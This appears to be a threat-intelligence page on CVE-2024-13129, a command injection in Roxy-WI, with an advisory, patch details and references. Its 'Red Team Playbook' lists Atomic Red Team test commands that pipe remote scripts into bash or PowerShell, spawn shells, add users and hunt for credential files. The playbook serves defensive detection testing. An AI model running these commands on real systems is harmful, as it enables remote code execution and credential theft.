CVE-2024-13129
Overview
This vulnerability is an OS command injection affecting the action_service function within the app/modules/roxywi/roxy.py component of Roxy-WI. The root cause lies in improper sanitization and validation of the action/service argument, allowing crafted input to be interpreted as system commands. This flaw enables injection of arbitrary commands executed by the underlying operating system.
Vulnerability Description
A vulnerability was found in Roxy-WI up to 8.1.3. It has been declared as critical. Affected by this vulnerability is the function action_service of the file app/modules/roxywi/roxy.py. The manipulation of the argument action/service leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 8.1.4 is able to address this issue. The identifier of the patch is 32313928eb9ce906887b8a30bf7b9a3d5c0de1be. It is recommended to upgrade the affected component.
Impact
An attacker with network access and low privileges can remotely execute arbitrary OS commands on the affected system by exploiting the injection in the action_service function. This could lead to full system compromise, unauthorized data access, or disruption of services. The vulnerability requires no user interaction and has a low attack complexity, as indicated by CVSS vector AV:N/AC:L/PR:L/UI:N, making it exploitable in typical deployment environments.
Solution
Upgrade Roxy-WI to version 8.1.4 or later, which contains the patch identified by commit 32313928eb9ce906887b8a30bf7b9a3d5c0de1be. The vendor's official GitHub repository provides the patch details in pull request #410 and release notes at https://github.com/roxy-wi/roxy-wi/releases/tag/v8.1.4. Applying this update is the recommended remediation to eliminate the command injection vulnerability in the action_service function.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in Roxy-WI, specifically within the function responsible for handling service actions in the application. This flaw allows for OS command injection through improper handling of user-supplied input. When an attacker manipulates the argument associated with the action/service, they can execute arbitrary commands on the server. This vulnerability arises from insufficient validation and sanitization of input parameters, which is a common oversight in software development. The potential for exploitation is significant, as it enables remote attackers to gain unauthorized access to the underlying operating system, leading to severe security breaches.
The attack vector for this vulnerability is particularly concerning due to its remote exploitability. An attacker could leverage this flaw by crafting a malicious request that targets the vulnerable function. Once the crafted request is sent to the server, the application may execute the injected commands with the same privileges as the application process. This could allow attackers to perform a wide range of malicious activities, including data exfiltration, system compromise, or lateral movement within the network. Given the ease of exploitation and the potential for significant damage, this vulnerability poses a serious threat to organizations using the affected version of Roxy-WI.
In terms of real-world impact, organizations that fail to address this vulnerability face considerable business risks. The consequences of a successful exploitation can include data breaches, loss of sensitive information, and damage to the organization's reputation. Additionally, the financial implications can be substantial, involving costs related to incident response, legal liabilities, and regulatory fines. The public disclosure of this vulnerability increases the urgency for organizations to act, as it provides potential attackers with the knowledge needed to exploit the flaw. Companies that rely on Roxy-WI for their operations must prioritize patching to mitigate these risks effectively.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the patched version of Roxy-WI is essential to eliminate the vulnerability. In addition to applying the patch, organizations should conduct a thorough security assessment of their systems to identify any other potential weaknesses. Regular security audits and penetration testing can help uncover vulnerabilities before they are exploited. Furthermore, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering and monitoring HTTP requests to block malicious inputs.
In conclusion, the critical vulnerability in Roxy-WI represents a significant threat to organizations that utilize this software. The potential for remote command injection underscores the need for immediate action to protect sensitive systems and data. By upgrading to the latest version, conducting security assessments, and implementing robust detection and mitigation strategies, organizations can safeguard themselves against the risks associated with this vulnerability. The proactive management of vulnerabilities is crucial in maintaining a secure operational environment and ensuring business continuity in the face of evolving cyber threats.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-13129, rising by over 30% to a current score that places it near the 91st percentile of exploit likelihood. This upward shift, while not accompanied by new exploit variants or significant changes in attack patterns, signals growing interest or feasibility in leveraging this remote command injection vulnerability. The stability of the seven-day trend suggests that the heightened risk has plateaued but remains elevated compared to prior assessments. For defenders, this escalation underscores the urgency of maintaining vigilance, as the vulnerability’s critical nature combined with increased exploit probability enhances the threat landscape. Although no fresh exploit details have emerged, the increased EPSS score reflects evolving attacker calculus and potential for wider exploitation attempts. Consequently, the overall threat level should be considered heightened, warranting continued prioritization in vulnerability management and monitoring efforts.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-13129 |
| vuldb.com |
GitHub CVE
vdb-entry
technical-description
|
https://vuldb.com/?id.290149 |
| vuldb.com |
GitHub CVE
signature
permissions-required
|
https://vuldb.com/?ctiid.290149 |
| vuldb.com |
GitHub CVE
third-party-advisory
|
https://vuldb.com/?submit.468530 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/roxy-wi/roxy-wi/pull/410 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/roxy-wi/roxy-wi/pull/410#issuecomment-2561289700 |
| github.com |
GitHub CVE
exploit
|
https://github.com/0xs1ash/Exploits/tree/main/CVE-EXPLOIT |
| github.com |
GitHub CVE
issue-tracking
patch
|
https://github.com/roxy-wi/roxy-wi/pull/410/commits/32313928eb9ce906887b8a30bf7b9a3d5c0de1be |
| github.com |
GitHub CVE
patch
|
https://github.com/roxy-wi/roxy-wi/releases/tag/v8.1.4 |